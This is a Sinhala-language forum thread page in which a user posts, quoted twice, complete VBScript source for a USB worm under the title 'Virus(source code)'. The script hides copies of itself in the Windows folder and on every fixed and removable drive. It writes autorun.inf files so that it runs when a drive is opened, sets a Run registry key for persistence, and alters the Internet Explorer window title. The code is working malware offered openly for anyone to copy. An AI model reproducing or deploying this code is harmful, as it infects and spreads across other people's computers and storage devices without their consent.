Search
Search titles only
By:
Search titles only
By:
Log in
Register
Search
Search titles only
By:
Search titles only
By:
Menu
Install the app
Install
Forums
New posts
All threads
Latest threads
New posts
Trending threads
Trending
Search forums
What's new
New posts
New ads
New profile posts
Latest activity
Free Ads
Latest reviews
Search ads
Members
Current visitors
New profile posts
Search profile posts
Contact us
Latest ads
එක පැකේජ් එකයි මාසෙටම Unlimited Internet. තාමත් DATA CARD දාන්න සල්ලි වියදම් කරනවද? අඩුම මිලට අපෙන්.
sayuru bandara
Updated:
Tuesday at 12:30 PM
Ad icon
ඉන්ටර්නෙට් එකෙන් හරියටම සල්ලි හොයන්න සහ Success වෙන්න කැමතිද? 🚀 (E-Money & Success Stories)
siri sumana
Updated:
Saturday at 11:44 PM
Gemini AI PRO 18 months Offer
Hawaka
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Ad icon
koko account
DasunEranga
Updated:
May 27, 2026
Electronics
Vehicles
Property
Search
Reply to thread
Forums
General
ElaKiri Talk!
Virus(source code)
Get the App
JavaScript is disabled. For a better experience, please enable JavaScript in your browser before proceeding.
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an
alternative browser
.
Message
<blockquote data-quote="dragon3rz" data-source="post: 9639347" data-attributes="member: 322632"><p><span style="font-size: 18px"><span style="color: red">මේක කට්ටියට වද දුන්න වයිරස් කට්ටක්!ලංකාවෙ සමහර කොල්ලො උඩ පනිනව මේක හොයාගෙන අනිත් අයව අන්දලා පොර වෙනව..මෙක දැනගන්න දමන්නෙ කට්ටියට!</span></span></p><p><span style="font-size: 18px"><span style="color: red"></span></span></p><p></p><p>on error resume next</p><p>dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd</p><p>atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe FS6519.dll.vbs"</p><p>set fs = createobject("Scripting.FileSystemObject")</p><p>set mf = fs.getfile(Wscript.ScriptFullname)</p><p>dim text,size</p><p>size = mf.size</p><p>check = mf.drive.drivetype</p><p>set text=mf.openastextstream(1,-2)</p><p>do while not text.atendofstream</p><p>mysource=mysource&text.readline</p><p>source=mysource & vbcrlf</p><p>loop</p><p>do</p><p>Set winpath = fs.getspecialfolder(0)</p><p>set tf = fs.getfile(winpath & "\FS6519.dll.vbs")</p><p>tf.attributes = 32</p><p>set tf=fs.createtextfile(winpath & "\FS6519.dll.vbs",2,true)</p><p>tf.write mysource</p><p>tf.close</p><p>set tf = fs.getfile(winpath & "\FS6519.dll.vbs")</p><p>tf.attributes = 39</p><p>for each flashdrive in fs.drives</p><p>If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then</p><p>set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs")</p><p>tf.attributes =32</p><p>set tf=fs.createtextfile(flashdrive.path &"\FS6519.dll.vbs",2,true)</p><p>tf.write mysource</p><p>tf.close</p><p>set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs")</p><p>tf.attributes =39</p><p>set tf =fs.getfile(flashdrive.path &"\autorun.inf")</p><p>tf.attributes = 32</p><p>set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)</p><p>tf.write atr</p><p>tf.close</p><p>set tf =fs.getfile(flashdrive.path &"\autorun.inf")</p><p>tf.attributes=39</p><p>end if</p><p>next</p><p>set rg = createobject("WScript.Shell")</p><p>rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\FS6519″,winpath&"\FS6519.dll.vbs"</p><p>rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","<span style="font-size: 12px"><span style="color: Red">උබට ඹන නම</span></span>"</p><p>if check <> 1 then</p><p>Wscript.sleep 200000</p><p>end if</p><p>loop while check<>1</p><p>set sd = createobject("Wscript.shell")</p><p>sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname</p><p></p><p>වැඩි විස්තර දමන්නෙ නෑ මම!</p></blockquote><p></p>
[QUOTE="dragon3rz, post: 9639347, member: 322632"] [SIZE="5"][COLOR="red"]මේක කට්ටියට වද දුන්න වයිරස් කට්ටක්!ලංකාවෙ සමහර කොල්ලො උඩ පනිනව මේක හොයාගෙන අනිත් අයව අන්දලා පොර වෙනව..මෙක දැනගන්න දමන්නෙ කට්ටියට! [/COLOR][/SIZE] on error resume next dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,che ck,sd atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe FS6519.dll.vbs" set fs = createobject("Scripting.FileSystemObject") set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline source=mysource & vbcrlf loop do Set winpath = fs.getspecialfolder(0) set tf = fs.getfile(winpath & "\FS6519.dll.vbs") tf.attributes = 32 set tf=fs.createtextfile(winpath & "\FS6519.dll.vbs",2,true) tf.write mysource tf.close set tf = fs.getfile(winpath & "\FS6519.dll.vbs") tf.attributes = 39 for each flashdrive in fs.drives If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs") tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &"\FS6519.dll.vbs",2,true) tf.write mysource tf.close set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs") tf.attributes =39 set tf =fs.getfile(flashdrive.path &"\autorun.inf") tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true) tf.write atr tf.close set tf =fs.getfile(flashdrive.path &"\autorun.inf") tf.attributes=39 end if next set rg = createobject("WScript.Shell") rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\FS6519″,winpath&"\FS6519.dll.vbs" rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","[SIZE="3"][COLOR="Red"]උබට ඹන නම[/COLOR][/SIZE]" if check <> 1 then Wscript.sleep 200000 end if loop while check<>1 set sd = createobject("Wscript.shell") sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname වැඩි විස්තර දමන්නෙ නෑ මම! [/QUOTE]
Insert quotes…
Verification
Dahaya deken beduwama keeyada?
Post reply
Top
Bottom
Gemini AI PRO 18 months Offer
